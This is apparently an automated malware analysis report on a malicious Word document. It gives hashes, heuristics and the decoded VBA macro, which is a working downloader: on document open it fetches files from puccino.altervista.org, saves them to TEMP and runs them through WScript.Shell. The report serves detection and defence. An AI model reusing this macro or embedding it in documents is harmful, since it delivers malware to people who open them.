Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5b5a85247137012e…

MALICIOUS

Office (OOXML)

218.7 KB Created: 2021-09-18 12:41:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-09-27
MD5: 0fe04eaf3f784f632d6fbe74eb233553 SHA-1: 1b563b1fab5939911d98417fea35300b44dd24da SHA-256: 5b5a85247137012e2e0eabbe2e8ca0cc0cc8e7751f5279257c8dd28e15ce2043
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro that executes upon opening the document. This macro utilizes WScript.Shell to download content from two URLs, "https://puccino.altervista.org/wp-content/uploads/2021/09/2.txt" and "https://puccino.altervista.org/wp-content/uploads/2021/09/rvsdv.txt", and saves them to temporary files. It then executes the downloaded content, indicating a downloader or dropper functionality.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://puccino.altervista.org/wp-content/uploads/2021/09/2.txtIn document text (OOXML body / shared strings)
    • https://puccino.altervista.org/wp-content/uploads/2021/09/rvsdv.txtIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1345 bytes
SHA-256: e84491b5cc9a68c740481faa61c8ded58df0124073d5e93d0f0654da14683eef
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
On Error Resume Next
Dim bdrfvsdz As String
Dim possoio As String
bdrfvsdz = Environ("TEMP")
Dim BRTDX As String
BRTDX = bdrfvsdz & YoMana("https://puccino.altervista.org/wp-content/uploads/2021/09/2.txt")
Dim intFile As Integer
  Dim strFile As String
  strFile = bdrfvsdz & YoMana("https://puccino.altervista.org/wp-content/uploads/2021/09/2.txt") 'the file you want to save to
  intFile = FreeFile
  Open strFile For Output As #intFile
    Print #intFile, YoMana("https://puccino.altervista.org/wp-content/uploads/2021/09/rvsdv.txt") 'the data you want to save
  Close #intFile


Dim yol As Object
Set yol = VBA.CreateObject("WScript.Shell")
yol.Run BRTDX, 1, 1
End Sub



Function YoMana(strURL) As String
    Dim strReturn
    Dim objHTTP
    If Len(strURL) = 0 Then Exit Function
    Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
    objHTTP.Open "GET", strURL, False
    objHTTP.Send
    strReturn = objHTTP.responseText
    Set objHTTP = Nothing
    YoMana = strReturn
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: 63a96acf230d5200d1396d12332d2e03b20869af754052814c4862f54cd69c78

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